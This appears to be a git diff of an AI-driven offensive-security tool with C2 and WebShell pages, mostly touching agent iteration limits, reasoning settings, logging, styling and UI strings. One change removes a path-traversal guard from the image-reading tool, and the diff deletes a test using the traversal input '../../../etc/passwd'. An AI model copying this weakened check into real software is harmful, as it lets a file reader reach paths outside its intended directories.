+	if got := agentMaxIterations(cfg); got != defaultAgentMaxIterations {
+		t.Fatalf("zero: got %d want %d", got, defaultAgentMaxIterations)
+	}
+}
+
+func TestResolveMaxIterations(t *testing.T) {
+	cfg := &config.Config{Agent: config.AgentConfig{MaxIterations: 12000}}
+	if got := resolveMaxIterations(cfg, 0); got != 12000 {
+		t.Fatalf("global: got %d want 12000", got)
+	}
+	if got := resolveMaxIterations(cfg, 50); got != 50 {
+		t.Fatalf("override: got %d want 50", got)
+	}
+}

internal/multiagent/runner.go

@@ -161,6 +161,7 @@ func RunDeepAgent(
 
 	// 若配置为 Claude provider，注入自动桥接 transport，对 Eino 透明走 Anthropic Messages API
 	httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
+	openai.AttachSummarizationDiagTransport(httpClient, logger)
 
 	baseModelCfg := &einoopenai.ChatModelConfig{
 		APIKey:     appCfg.OpenAI.APIKey,
@@ -170,18 +171,7 @@ func RunDeepAgent(
 	}
 	reasoning.ApplyToEinoChatModelConfig(baseModelCfg, &appCfg.OpenAI, reasoningClient)
 
-	deepMaxIter := ma.MaxIteration
-	if deepMaxIter <= 0 {
-		deepMaxIter = appCfg.Agent.MaxIterations
-	}
-	if deepMaxIter <= 0 {
-		deepMaxIter = 40
-	}
-
-	subDefaultIter := ma.SubAgentMaxIterations
-	if subDefaultIter <= 0 {
-		subDefaultIter = 20
-	}
+	deepMaxIter := agentMaxIterations(appCfg)
 
 	var subAgents []adk.Agent
 	if orchMode != "plan_execute" {
@@ -230,10 +220,7 @@ func RunDeepAgent(
 				return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
 			}
 
-			subMax := sub.MaxIterations
-			if subMax <= 0 {
-				subMax = subDefaultIter
-			}
+			subMax := resolveMaxIterations(appCfg, sub.MaxIterations)
 
 			subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
 			if err != nil {

internal/openai/summarization_diag.go

@@ -0,0 +1,88 @@
+package openai
+
+import (
+	"bytes"
+	"io"
+	"net/http"
+	"strings"
+
+	"github.com/bytedance/sonic"
+	"go.uber.org/zap"
+)
+
+// SummarizationRequestHeader marks chat/completion requests issued by Eino summarization
+// middleware (via model.WithExtraHeader). The diagnostic transport logs empty-choices bodies
+// only for these requests so main-agent traffic stays quiet.
+const SummarizationRequestHeader = "X-CyberStrike-Summarization"
+
+const summarizationDiagBodyMaxBytes = 8192
+
+// AttachSummarizationDiagTransport wraps client.Transport to log raw API bodies when
+// summarization receives HTTP 200 with an empty choices array.
+func AttachSummarizationDiagTransport(client *http.Client, logger *zap.Logger) {
+	if client == nil || logger == nil {
+		return
+	}
+	base := client.Transport
+	if base == nil {
+		base = http.DefaultTransport
+	}
+	client.Transport = &summarizationDiagRoundTripper{base: base, logger: logger}
+}
+
+type summarizationDiagRoundTripper struct {
+	base   http.RoundTripper
+	logger *zap.Logger
+}
+
+func (rt *summarizationDiagRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
+	resp, err := rt.base.RoundTrip(req)
+	if err != nil || resp == nil || resp.Body == nil {
+		return resp, err
+	}
+	if !isSummarizationRequest(req) || !strings.Contains(strings.ToLower(resp.Header.Get("Content-Type")), "json") {
+		return resp, err
+	}
+
+	body, readErr := io.ReadAll(resp.Body)
+	_ = resp.Body.Close()
+	if readErr != nil {
+		resp.Body = io.NopCloser(bytes.NewReader(nil))
+		return resp, err
+	}
+	resp.Body = io.NopCloser(bytes.NewReader(body))
+	resp.ContentLength = int64(len(body))
+
+	if rt.logger != nil && summarizationResponseEmptyChoices(body) {
+		rt.logger.Warn("eino summarization: API returned empty choices",
+			zap.Int("status", resp.StatusCode),
+			zap.Int("response_bytes", len(body)),
+			zap.String("raw_body", truncateForLog(string(body), summarizationDiagBodyMaxBytes)),
+		)
+	}
+	return resp, err
+}
+
+func isSummarizationRequest(req *http.Request) bool {
+	if req == nil {
+		return false
+	}
+	return strings.TrimSpace(req.Header.Get(SummarizationRequestHeader)) == "1"
+}
+
+func summarizationResponseEmptyChoices(body []byte) bool {
+	var parsed struct {
+		Choices []any `json:"choices"`
+	}
+	if err := sonic.Unmarshal(body, &parsed); err != nil {
+		return false
+	}
+	return len(parsed.Choices) == 0
+}
+
+func truncateForLog(s string, maxBytes int) string {
+	if maxBytes <= 0 || len(s) <= maxBytes {
+		return s
+	}
+	return s[:maxBytes] + "…(truncated)"
+}

internal/openai/summarization_diag_test.go

@@ -0,0 +1,47 @@
+package openai
+
+import (
+	"io"
+	"net/http"
+	"strings"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+type staticRoundTripper struct {
+	status int
+	body   string
+}
+
+func (s *staticRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
+	return &http.Response{
+		StatusCode: s.status,
+		Header:     http.Header{"Content-Type": []string{"application/json"}},
+		Body:       io.NopCloser(strings.NewReader(s.body)),
+	}, nil
+}
+
+func TestSummarizationResponseEmptyChoices(t *testing.T) {
+	if !summarizationResponseEmptyChoices([]byte(`{"choices":[]}`)) {
+		t.Fatal("expected empty choices")
+	}
+	if summarizationResponseEmptyChoices([]byte(`{"choices":[{"index":0}]}`)) {
+		t.Fatal("expected non-empty choices")
+	}
+}
+
+func TestSummarizationDiagRoundTripper_SkipsWithoutHeader(t *testing.T) {
+	client := &http.Client{
+		Transport: &summarizationDiagRoundTripper{
+			base:   &staticRoundTripper{status: 200, body: `{"choices":[]}`},
+			logger: zap.NewNop(),
+		},
+	}
+	req, _ := http.NewRequest(http.MethodPost, "https://example.com/v1/chat/completions", nil)
+	resp, err := client.Do(req)
+	if err != nil {
+		t.Fatal(err)
+	}
+	_ = resp.Body.Close()
+}

internal/reasoning/eino.go

@@ -56,6 +56,7 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
 	}
 
 	if mode == "off" {
+		applyThinkingDisabled(cfg)
 		return
 	}
 	effort := effectiveEffort(sr, client, allowClient)
@@ -185,11 +186,21 @@ func resolveWireProfile(oa *config.OpenAIConfig, sr *config.OpenAIReasoningConfi
 	}
 }
 
-func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
-	// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
-	if mode == "off" {
+func applyThinkingDisabled(cfg *einoopenai.ChatModelConfig) {
+	if cfg == nil {
 		return
 	}
+	if cfg.ExtraFields == nil {
+		cfg.ExtraFields = make(map[string]any)
+	}
+	if _, exists := cfg.ExtraFields["thinking"]; exists {
+		return
+	}
+	cfg.ExtraFields["thinking"] = map[string]any{"type": "disabled"}
+}
+
+func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
+	// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
 	if mode == "auto" || mode == "on" {
 		if cfg.ExtraFields == nil {
 			cfg.ExtraFields = make(map[string]any)

internal/reasoning/eino_test.go

@@ -49,6 +49,22 @@ func TestApplyOpenAICompat_xhighExtraField(t *testing.T) {
 	}
 }
 
+func TestApplyReasoningOff_disablesThinking(t *testing.T) {
+	cfg := &einoopenai.ChatModelConfig{}
+	oa := &config.OpenAIConfig{
+		BaseURL: "https://api.openai.com/v1",
+		Model:   "gpt-4o",
+		Reasoning: config.OpenAIReasoningConfig{
+			Mode: "off",
+		},
+	}
+	ApplyToEinoChatModelConfig(cfg, oa, nil)
+	th, ok := cfg.ExtraFields["thinking"].(map[string]any)
+	if !ok || th["type"] != "disabled" {
+		t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
+	}
+}
+
 func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
 	cfg := &einoopenai.ChatModelConfig{}
 	oa := &config.OpenAIConfig{

internal/vision/path.go

@@ -7,35 +7,26 @@ import (
 	"strings"
 )
 
-const chatUploadsDirName = "chat_uploads"
-
 var allowedImageExt = map[string]struct{}{
 	".png": {}, ".jpg": {}, ".jpeg": {}, ".webp": {}, ".gif": {},
 	".bmp": {}, ".tif": {}, ".tiff": {},
 }
 
-// PathOptions 图片路径白名单根目录。
-type PathOptions struct {
-	CWD              string
-	ResultStorageDir string   // 相对 CWD，如 tmp
-	ExtraRoots       []string // vision.allowed_roots 绝对路径
-}
-
-// ResolveImagePath 解析并校验可读图片路径（防穿越、symlink 逃逸）。
-func ResolveImagePath(path string, opt PathOptions) (string, error) {
+// ResolveImagePath 解析并校验可读图片路径（支持任意目录；仍校验扩展名与常规文件）。
+func ResolveImagePath(path string, cwd string) (string, error) {
 	p := strings.TrimSpace(path)
 	if p == "" {
 		return "", fmt.Errorf("path is empty")
 	}
-	cwd := strings.TrimSpace(opt.CWD)
-	if cwd == "" {
+	cwdTrim := strings.TrimSpace(cwd)
+	if cwdTrim == "" {
 		var err error
-		cwd, err = os.Getwd()
+		cwdTrim, err = os.Getwd()
 		if err != nil {
 			return "", fmt.Errorf("getwd: %w", err)
 		}
 	}
-	cwdAbs, err := filepath.Abs(filepath.Clean(cwd))
+	cwdAbs, err := filepath.Abs(filepath.Clean(cwdTrim))
 	if err != nil {
 		return "", err
 	}
@@ -46,22 +37,16 @@ func ResolveImagePath(path string, opt PathOptions) (string, error) {
 	} else {
 		candidate = filepath.Clean(filepath.Join(cwdAbs, p))
 	}
-	candidate = normalizeAbsPath(candidate)
-	if candidate == "" {
+	resolved := normalizeAbsPath(candidate)
+	if resolved == "" {
 		return "", fmt.Errorf("invalid path")
 	}
 
-	ext := strings.ToLower(filepath.Ext(candidate))
+	ext := strings.ToLower(filepath.Ext(resolved))
 	if _, ok := allowedImageExt[ext]; !ok {
 		return "", fmt.Errorf("unsupported image extension %q", ext)
 	}
 
-	roots := buildAllowedRoots(cwdAbs, opt)
-	resolved, err := evalUnderAllowedRoots(candidate, roots)
-	if err != nil {
-		return "", err
-	}
-
 	st, err := os.Stat(resolved)
 	if err != nil {
 		return "", fmt.Errorf("stat: %w", err)
@@ -85,58 +70,3 @@ func normalizeAbsPath(p string) string {
 	}
 	return abs
 }
-
-func buildAllowedRoots(cwdAbs string, opt PathOptions) []string {
-	seen := make(map[string]struct{})
-	var roots []string
-	add := func(r string) {
-		r = strings.TrimSpace(r)
-		if r == "" {
-			return
-		}
-		abs := normalizeAbsPath(r)
-		if abs == "" {
-			return
-		}
-		if _, ok := seen[abs]; ok {
-			return
-		}
-		seen[abs] = struct{}{}
-		roots = append(roots, abs)
-	}
-	add(cwdAbs)
-	add(filepath.Join(cwdAbs, chatUploadsDirName))
-	rs := strings.TrimSpace(opt.ResultStorageDir)
-	if rs == "" {
-		rs = "tmp"
-	}
-	if filepath.IsAbs(rs) {
-		add(rs)
-	} else {
-		add(filepath.Join(cwdAbs, rs))
-	}
-	for _, r := range opt.ExtraRoots {
-		add(r)
-	}
-	return roots
-}
-
-func evalUnderAllowedRoots(candidate string, roots []string) (string, error) {
-	check := normalizeAbsPath(candidate)
-	for _, root := range roots {
-		if isUnderRoot(check, root) {
-			return candidate, nil
-		}
-	}
-	return "", fmt.Errorf("path %q is outside allowed directories", candidate)
-}
-
-func isUnderRoot(path, root string) bool {
-	path = filepath.Clean(path)
-	root = filepath.Clean(root)
-	if path == root {
-		return true
-	}
-	sep := string(filepath.Separator)
-	return strings.HasPrefix(path, root+sep)
-}

internal/vision/path_test.go

@@ -12,7 +12,7 @@ func TestResolveImagePath_underCWD(t *testing.T) {
 	if err := os.WriteFile(img, []byte{0x89, 0x50, 0x4e, 0x47}, 0o644); err != nil {
 		t.Fatal(err)
 	}
-	got, err := ResolveImagePath(img, PathOptions{CWD: dir, ResultStorageDir: "tmp"})
+	got, err := ResolveImagePath(img, dir)
 	if err != nil {
 		t.Fatal(err)
 	}
@@ -22,11 +22,20 @@ func TestResolveImagePath_underCWD(t *testing.T) {
 	}
 }
 
-func TestResolveImagePath_rejectsTraversal(t *testing.T) {
+func TestResolveImagePath_absoluteOutsideCWD(t *testing.T) {
 	dir := t.TempDir()
-	_, err := ResolveImagePath("../../../etc/passwd", PathOptions{CWD: dir})
-	if err == nil {
-		t.Fatal("expected error for path outside roots")
+	cwd := t.TempDir()
+	img := filepath.Join(dir, "remote.png")
+	if err := os.WriteFile(img, []byte{0x89, 0x50, 0x4e, 0x47}, 0o644); err != nil {
+		t.Fatal(err)
+	}
+	got, err := ResolveImagePath(img, cwd)
+	if err != nil {
+		t.Fatalf("expected absolute path outside cwd to be allowed: %v", err)
+	}
+	want := normalizeAbsPath(img)
+	if got != want {
+		t.Fatalf("got %q want %q", got, want)
 	}
 }
 
@@ -36,7 +45,7 @@ func TestResolveImagePath_rejectsNonImageExt(t *testing.T) {
 	if err := os.WriteFile(f, []byte("x"), 0o644); err != nil {
 		t.Fatal(err)
 	}
-	_, err := ResolveImagePath(f, PathOptions{CWD: dir})
+	_, err := ResolveImagePath(f, dir)
 	if err == nil {
 		t.Fatal("expected error for non-image extension")
 	}

internal/vision/tool.go

@@ -33,11 +33,6 @@ func RegisterAnalyzeImageTool(mcpServer *mcp.Server, cfg *config.Config, logger
 		return
 	}
 
-	pathOpt := PathOptions{
-		CWD:              cwd,
-		ResultStorageDir: cfg.Agent.ResultStorageDir,
-		ExtraRoots:       cfg.Vision.AllowedRoots,
-	}
 	preOpt := PreprocessOptions{
 		MaxImageBytes:            cfg.Vision.MaxImageBytesEffective(),
 		MaxDimension:             cfg.Vision.MaxDimensionEffective(),
@@ -73,7 +68,7 @@ func RegisterAnalyzeImageTool(mcpServer *mcp.Server, cfg *config.Config, logger
 		path, _ := args["path"].(string)
 		question, _ := args["question"].(string)
 
-		abs, err := ResolveImagePath(path, pathOpt)
+		abs, err := ResolveImagePath(path, cwd)
 		if err != nil {
 			return textResult(fmt.Sprintf("路径校验失败: %v", err), true), nil
 		}

tools/katana.yaml

@@ -39,9 +39,9 @@ parameters:
     default: true
   - name: "form_extraction"
     type: "bool"
-    description: "启用表单提取"
+    description: "启用表单提取（-fx / -form-extraction）"
     required: false
-    flag: "-forms"
+    flag: "-fx"
     format: "flag"
     default: true
   - name: "additional_args"
@@ -50,10 +50,10 @@ parameters:
       额外的Katana参数。用于传递未在参数列表中定义的Katana选项。
 
       **示例值：**
-      - "--headless": 使用无头浏览器
-      - "-f": 输出格式
-      - "-o output.txt": 输出到文件
-      - "-c": 并发数
+      - "-headless": 使用无头浏览器
+      - "-output-template '{{url}}'": 自定义输出格式
+      - "-output output.txt": 输出到文件
+      - "-c 20": 并发数
 
       **注意事项：**
       - 多个参数用空格分隔

web/static/css/c2.css

@@ -37,7 +37,6 @@
    Form Controls (scoped to C2 pages)
    ============================================================================ */
 
-#page-c2 .form-control,
 #page-c2-listeners .form-control,
 #page-c2-sessions .form-control,
 #page-c2-tasks .form-control,
@@ -61,7 +60,6 @@
     appearance: none;
 }
 
-#page-c2 .form-control:focus,
 #page-c2-listeners .form-control:focus,
 #page-c2-sessions .form-control:focus,
 #page-c2-tasks .form-control:focus,
@@ -73,7 +71,6 @@
     box-shadow: 0 0 0 3px var(--c2-accent-dim);
 }
 
-#page-c2 select.form-control,
 #page-c2-payloads select.form-control,
 .c2-modal select.form-control {
     background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%2364748b' d='M2.5 4.5L6 8l3.5-3.5'/%3E%3C/svg%3E");
@@ -85,7 +82,6 @@
 }
 
 /* 原生下拉：避免 appearance:none 在部分浏览器中导致 select 无法正常展开 */
-#page-c2 select.form-control.c2-native-select,
 #page-c2-payloads select.form-control.c2-native-select,
 .c2-modal select.form-control.c2-native-select {
     appearance: auto;
@@ -94,7 +90,6 @@
     padding-right: 14px;
 }
 
-#page-c2 textarea.form-control,
 #page-c2-payloads textarea.form-control,
 .c2-modal textarea.form-control {
     resize: vertical;
@@ -104,7 +99,6 @@
     line-height: 1.6;
 }
 
-#page-c2 .form-control::placeholder,
 #page-c2-payloads .form-control::placeholder,
 .c2-modal .form-control::placeholder {
     color: var(--c2-text-muted);
@@ -140,9 +134,6 @@
    Layout
    ============================================================================ */
 
-.c2-layout { display: flex; flex-direction: column; height: 100%; }
-.c2-main { flex: 1; overflow-y: auto; }
-
 .c2-empty {
     display: flex;
     flex-direction: column;
@@ -171,103 +162,6 @@
     margin: 12px;
 }
 
-/* ============================================================================
-   Dashboard / Welcome
-   ============================================================================ */
-
-.c2-welcome {
-    text-align: center;
-    padding: 100px 24px 80px;
-    max-width: 860px;
-    margin: 0 auto;
-}
-
-.c2-welcome-icon {
-    margin-bottom: 16px;
-    animation: c2-float 4s ease-in-out infinite;
-}
-
-@keyframes c2-float {
-    0%, 100% { transform: translateY(0); }
-    50% { transform: translateY(-8px); }
-}
-
-.c2-welcome h3 {
-    font-size: 28px;
-    margin-bottom: 12px;
-    color: var(--c2-text);
-    font-weight: 800;
-    letter-spacing: -0.5px;
-}
-
-.c2-welcome p {
-    color: var(--c2-text-dim);
-    font-size: 15px;
-    line-height: 1.7;
-    margin-bottom: 48px;
-    max-width: 520px;
-    margin-left: auto;
-    margin-right: auto;
-}
-
-.c2-stats {
-    display: flex;
-    justify-content: center;
-    gap: 16px;
-    margin-bottom: 48px;
-    flex-wrap: wrap;
-}
-
-.c2-stat-item {
-    display: flex;
-    flex-direction: column;
-    align-items: center;
-    padding: 28px 40px;
-    background: var(--c2-surface);
-    border-radius: var(--c2-radius);
-    border: 1.5px solid var(--c2-border);
-    min-width: 160px;
-    transition: all 0.3s ease;
-}
-
-.c2-stat-item:hover {
-    transform: translateY(-4px);
-    box-shadow: var(--c2-shadow-md);
-    border-color: var(--c2-accent);
-}
-
-.c2-stat-item:nth-child(1) .c2-stat-value { color: var(--c2-accent); }
-.c2-stat-item:nth-child(2) .c2-stat-value { color: var(--c2-green); }
-.c2-stat-item:nth-child(3) .c2-stat-value { color: var(--c2-amber); }
-
-.c2-stat-value {
-    font-size: 36px;
-    font-weight: 800;
-    line-height: 1;
-    letter-spacing: -1px;
-}
-
-.c2-stat-label {
-    font-size: 12px;
-    color: var(--c2-text-dim);
-    margin-top: 12px;
-    font-weight: 600;
-    letter-spacing: 0.3px;
-}
-
-.c2-actions {
-    display: flex;
-    gap: 12px;
-    justify-content: center;
-    flex-wrap: wrap;
-    max-width: 420px;
-    margin-inline: auto;
-}
-
-.c2-actions > button {
-    flex: 1;
-    min-width: min(100%, 160px);
-}
 /* ============================================================================
    Listener Cards
    ============================================================================ */
@@ -772,6 +666,66 @@
     border: 1px solid var(--c2-border);
 }
 
+#c2-file-upload-btn.is-disabled,
+#c2-file-upload-btn:disabled {
+    opacity: 0.5;
+    cursor: not-allowed;
+    color: var(--c2-text-dim, #94a3b8);
+    border-color: var(--c2-border, #e2e8f0);
+}
+
+.c2-file-upload-hint {
+    font-size: 12px;
+    color: #b45309;
+    background: rgba(245, 158, 11, 0.08);
+    border: 1px solid rgba(245, 158, 11, 0.25);
+    border-radius: var(--c2-radius-xs, 4px);
+    padding: 8px 12px;
+    margin: -8px 0 12px;
+    line-height: 1.5;
+    word-break: break-word;
+}
+
+.c2-file-upload-hint[hidden] {
+    display: none !important;
+}
+
+.c2-file-upload-progress {
+    display: flex;
+    align-items: center;
+    gap: 10px;
+    margin: -8px 0 12px;
+    padding: 0 4px;
+}
+
+.c2-file-upload-progress[hidden] {
+    display: none !important;
+}
+
+.c2-file-upload-progress-track {
+    flex: 1;
+    height: 4px;
+    background: var(--c2-border);
+    border-radius: 2px;
+    overflow: hidden;
+}
+
+.c2-file-upload-progress-fill {
+    height: 100%;
+    width: 0;
+    background: var(--c2-accent, #3b82f6);
+    transition: width 0.2s ease;
+}
+
+.c2-file-upload-progress-label {
+    font-size: 11px;
+    color: var(--c2-text-dim);
+    white-space: nowrap;
+    max-width: 220px;
+    overflow: hidden;
+    text-overflow: ellipsis;
+}
+
 .c2-file-list {
     background: var(--c2-surface);
     border-radius: var(--c2-radius);
@@ -1218,32 +1172,172 @@
    Task Detail Modal
    ============================================================================ */
 
-.c2-task-detail { line-height: 2; }
-.c2-task-detail > div { margin-bottom: 6px; font-size: 13px; }
+.c2-modal.c2-modal--wide {
+    max-width: 720px;
+}
+
+.c2-task-modal-header {
+    align-items: flex-start;
+}
+
+.c2-task-modal-heading {
+    display: flex;
+    align-items: center;
+    gap: 12px;
+    flex-wrap: wrap;
+}
+
+.c2-task-modal-heading h3 {
+    margin: 0;
+}
+
+.c2-task-detail {
+    display: flex;
+    flex-direction: column;
+    gap: 20px;
+}
+
+.c2-task-detail-grid {
+    display: grid;
+    grid-template-columns: repeat(2, minmax(0, 1fr));
+    gap: 12px;
+}
+
+.c2-task-kv {
+    display: flex;
+    flex-direction: column;
+    gap: 6px;
+    padding: 12px 14px;
+    background: var(--c2-surface-alt);
+    border: 1px solid var(--c2-border);
+    border-radius: var(--c2-radius-sm);
+}
+
+.c2-task-kv__label {
+    font-size: 11px;
+    font-weight: 600;
+    letter-spacing: 0.04em;
+    text-transform: uppercase;
+    color: var(--c2-text-muted);
+}
+
+.c2-task-kv__value {
+    font-size: 13px;
+    font-weight: 500;
+    color: var(--c2-text);
+    word-break: break-all;
+    line-height: 1.45;
+}
+
+.c2-task-kv__value--mono {
+    font-family: var(--c2-mono);
+    font-size: 12px;
+    color: var(--c2-text-dim);
+}
+
+.c2-task-kv__value--accent {
+    font-family: var(--c2-mono);
+    font-weight: 600;
+    color: var(--c2-accent);
+}
+
+.c2-task-timeline {
+    display: grid;
+    grid-template-columns: repeat(3, minmax(0, 1fr));
+    gap: 10px;
+    padding: 14px 16px;
+    background: linear-gradient(135deg, rgba(59, 130, 246, 0.06), rgba(59, 130, 246, 0.02));
+    border: 1px solid rgba(59, 130, 246, 0.14);
+    border-radius: var(--c2-radius-sm);
+}
+
+.c2-task-time-card {
+    display: flex;
+    flex-direction: column;
+    gap: 6px;
+    min-width: 0;
+}
+
+.c2-task-time-card:not(:last-child) {
+    padding-right: 10px;
+    border-right: 1px solid rgba(59, 130, 246, 0.12);
+}
+
+.c2-task-code-section,
+.c2-task-error-section {
+    display: flex;
+    flex-direction: column;
+    gap: 10px;
+}
+
+.c2-task-code-header {
+    display: flex;
+    align-items: center;
+    justify-content: space-between;
+    gap: 12px;
+}
+
+.c2-task-code-title {
+    font-size: 12px;
+    font-weight: 700;
+    letter-spacing: 0.04em;
+    text-transform: uppercase;
+    color: var(--c2-text-dim);
+}
 
 .c2-task-error {
     color: var(--c2-red);
-    padding: 14px;
+    padding: 14px 16px;
     background: var(--c2-red-dim);
     border: 1px solid rgba(239, 68, 68, 0.15);
     border-radius: var(--c2-radius-sm);
-    margin-top: 12px;
     font-size: 13px;
+    line-height: 1.55;
+    white-space: pre-wrap;
+    word-break: break-word;
 }
 
-.c2-task-result pre {
+.c2-task-result-pre,
+.c2-task-command-pre {
     background: #0f172a;
     color: #e2e8f0;
-    padding: 16px;
+    padding: 14px 16px;
     border-radius: var(--c2-radius-sm);
     overflow-x: auto;
     font-family: var(--c2-mono);
     font-size: 12px;
-    margin-top: 8px;
-    max-height: 400px;
+    margin: 0;
+    max-height: 360px;
     overflow-y: auto;
     border: 1px solid #1e293b;
     line-height: 1.6;
+    white-space: pre-wrap;
+    word-break: break-all;
+}
+
+.c2-task-command-pre {
+    max-height: 140px;
+}
+
+.c2-task-command-cell {
+    max-width: 220px;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    white-space: nowrap;
+    font-family: var(--c2-mono);
+    font-size: 12px;
+    color: var(--c2-text-muted, #64748b);
+}
+
+.c2-task-item-compact .c2-task-command {
+    flex: 1;
+    min-width: 0;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    white-space: nowrap;
+    font-family: var(--c2-mono);
+    font-size: 11px;
+    color: var(--c2-text-muted, #64748b);
 }
 
 /* ============================================================================
@@ -1277,6 +1371,11 @@
    Modal
    ============================================================================ */
 
+/* Toast 须高于模态遮罩 (10050)，避免被 backdrop-filter 模糊 */
+#c2-toast-container {
+    z-index: 10100 !important;
+}
+
 .c2-modal-overlay {
     position: fixed;
     top: 0; left: 0; right: 0; bottom: 0;
@@ -1327,26 +1426,7 @@
     color: var(--c2-text);
 }
 
-.c2-modal-close {
-    font-size: 18px;
-    cursor: pointer;
-    color: var(--c2-text-muted);
-    background: none;
-    border: none;
-    padding: 0;
-    width: 32px;
-    height: 32px;
-    display: flex;
-    align-items: center;
-    justify-content: center;
-    border-radius: var(--c2-radius-xs);
-    transition: all 0.15s;
-}
-
-.c2-modal-close:hover {
-    background: var(--c2-surface-alt);
-    color: var(--c2-text);
-}
+/* .c2-modal-close 样式见 style.css 统一关闭按钮 */
 
 .c2-modal-body { padding: 24px 28px; }
 
@@ -1385,7 +1465,15 @@
         border-right: none;
         border-bottom: 1px solid var(--c2-border);
     }
-    .c2-stats { flex-direction: column; gap: 12px; }
     .c2-payload-grid { grid-template-columns: 1fr; }
     .c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
+    .c2-task-detail-grid { grid-template-columns: 1fr; }
+    .c2-task-timeline { grid-template-columns: 1fr; }
+    .c2-task-time-card:not(:last-child) {
+        padding-right: 0;
+        padding-bottom: 10px;
+        border-right: none;
+        border-bottom: 1px solid rgba(59, 130, 246, 0.12);
+    }
+    .c2-modal.c2-modal--wide { max-width: 100%; }
 }

web/static/i18n/en-US.json

@@ -79,7 +79,6 @@
     "settings": "System settings",
     "hitl": "Human-in-the-loop",
     "c2": "C2",
-    "c2Manage": "C2 management",
     "c2Listeners": "Listeners",
     "c2Sessions": "Sessions",
     "c2Tasks": "Tasks",
@@ -98,8 +97,13 @@
     "clickToViewTasks": "Click to view tasks",
     "clickToViewVuln": "Click to view vulnerabilities",
     "clickToViewMCP": "Click to view MCP monitor",
+    "accessOverviewTitle": "Access overview",
+    "accessTabsAria": "C2 and WebShell",
     "c2OverviewTitle": "C2 overview",
     "c2GoManage": "Open C2 →",
+    "webshellGoManage": "Open WebShell →",
+    "webshellConnections": "Active connections",
+    "webshellClickConnections": "View connections",
     "c2ListenersRunning": "Listeners running",
     "c2SessionsOnline": "Sessions online",
     "c2TasksPending": "Pending / queued tasks",
@@ -153,7 +157,14 @@
     "lastUpdated": "Last updated",
     "viewAll": "View all →",
     "recentVulns": "Recent vulnerabilities",
+    "recentFacts": "Recent facts",
     "noVulnYet": "No recent vulnerabilities",
+    "noFactsYet": "No recent facts",
+    "noFactsDesc": "In project-bound chats, the agent records targets, findings, and attack chains",
+    "createFirstProjectBtn": "Create first project",
+    "factProjectMeta": "{{project}} · {{key}}",
+    "factsAcrossProjects_one": "{{count}} active project · {{facts}} facts",
+    "factsAcrossProjects_other": "{{count}} active projects · {{facts}} facts",
     "capabilities": "Capabilities",
     "mcpTools": "MCP tools",
     "rolesLabel": "Roles",
@@ -230,6 +241,13 @@
     "newProjectCta": "+ New project",
     "projectList": "Project list",
     "searchProjectsPlaceholder": "Search projects…",
+    "paginationShow": "Show {{start}}-{{end}} of {{total}}",
+    "paginationRange": "{{start}}-{{end}}/{{total}}",
+    "paginationTotal": "{{total}} total",
+    "paginationPage": "{{page}}/{{total}}",
+    "paginationPerPage": "Per page",
+    "paginationPrev": "Previous",
+    "paginationNext": "Next",
     "selectOrCreateTitle": "Select or create a project",
     "selectOrCreateHint": "Projects share a cross-chat fact board; target, environment, auth and other facts are auto-injected in bound conversations.",
     "createFirstProject": "Create first project",
@@ -377,6 +395,7 @@
     "settingsIntroTitle": "Project settings",
     "settingsIntroHint": "Configure project metadata and Agent authorization boundary; takes effect immediately for bound conversations after saving.",
     "pinProject": "Pin project (show first in list)",
+    "pinFact": "Pin fact (prioritize in list and blackboard index)",
     "editDescriptionPlaceholder": "Targets, authorization scope, contacts, notes…",
     "scopeTitle": "Test scope",
     "scopeHint": "JSON format for Agent authorization boundary and target assets",
@@ -408,6 +427,13 @@
     "addGroup": "New group",
     "recentConversations": "Recent conversations",
     "batchManage": "Batch manage",
+    "paginationShow": "Show {{start}}-{{end}} of {{total}}",
+    "paginationRange": "{{start}}-{{end}}/{{total}}",
+    "paginationTotal": "{{total}} total",
+    "paginationPage": "{{page}}/{{total}}",
+    "paginationPerPage": "Per page",
+    "paginationPrev": "Previous",
+    "paginationNext": "Next",
     "attackChain": "Attack chain",
     "viewAttackChain": "View attack chain",
     "selectRole": "Select role",
@@ -1499,9 +1525,15 @@
     "loading": "Loading...",
     "noStatsData": "No statistical data",
     "noExecutions": "No execution records",
+    "emptyHint": "Execution records will appear here after you invoke MCP tools in chat or tasks",
     "noRecordsWithFilter": "No records with current filter",
     "paginationInfo": "Show {{start}}-{{end}} of {{total}} records",
     "perPageLabel": "Per page",
+    "firstPage": "First",
+    "prevPage": "Previous",
+    "nextPage": "Next",
+    "lastPage": "Last",
+    "pageInfo": "Page {{page}} of {{total}}",
     "loadStatsError": "Failed to load statistics",
     "loadExecutionsError": "Failed to load execution records",
     "totalCalls": "Total calls",
@@ -1514,6 +1546,17 @@
     "unknownTool": "Unknown tool",
     "successFailedRate": "Success {{success}} / Failed {{failed}} · {{rate}}% success rate",
     "topToolsTitle": "Top {{n}} tools by calls",
+    "toolRankingTitle": "Tool call ranking",
+    "toolStatsTitle": "Tool statistics",
+    "toolStatsHint": "Click a bar segment or row to filter records below; hover to highlight",
+    "scopeCumulative": "All time",
+    "scopeTimeline": "Trend period",
+    "filterActive": "Filtered: {{tool}}",
+    "kpiScopeNote": "Lifetime totals",
+    "columnCalls": "Calls",
+    "columnShare": "Share",
+    "columnSuccessRate": "Success rate",
+    "rankingSummary": "Top {{n}} {{pct}}% · {{total}} total calls",
     "barVolumeLegend": "Bar length: relative call volume; green/red: success vs failure share",
     "clickToFilterTool": "Click a row to filter records below",
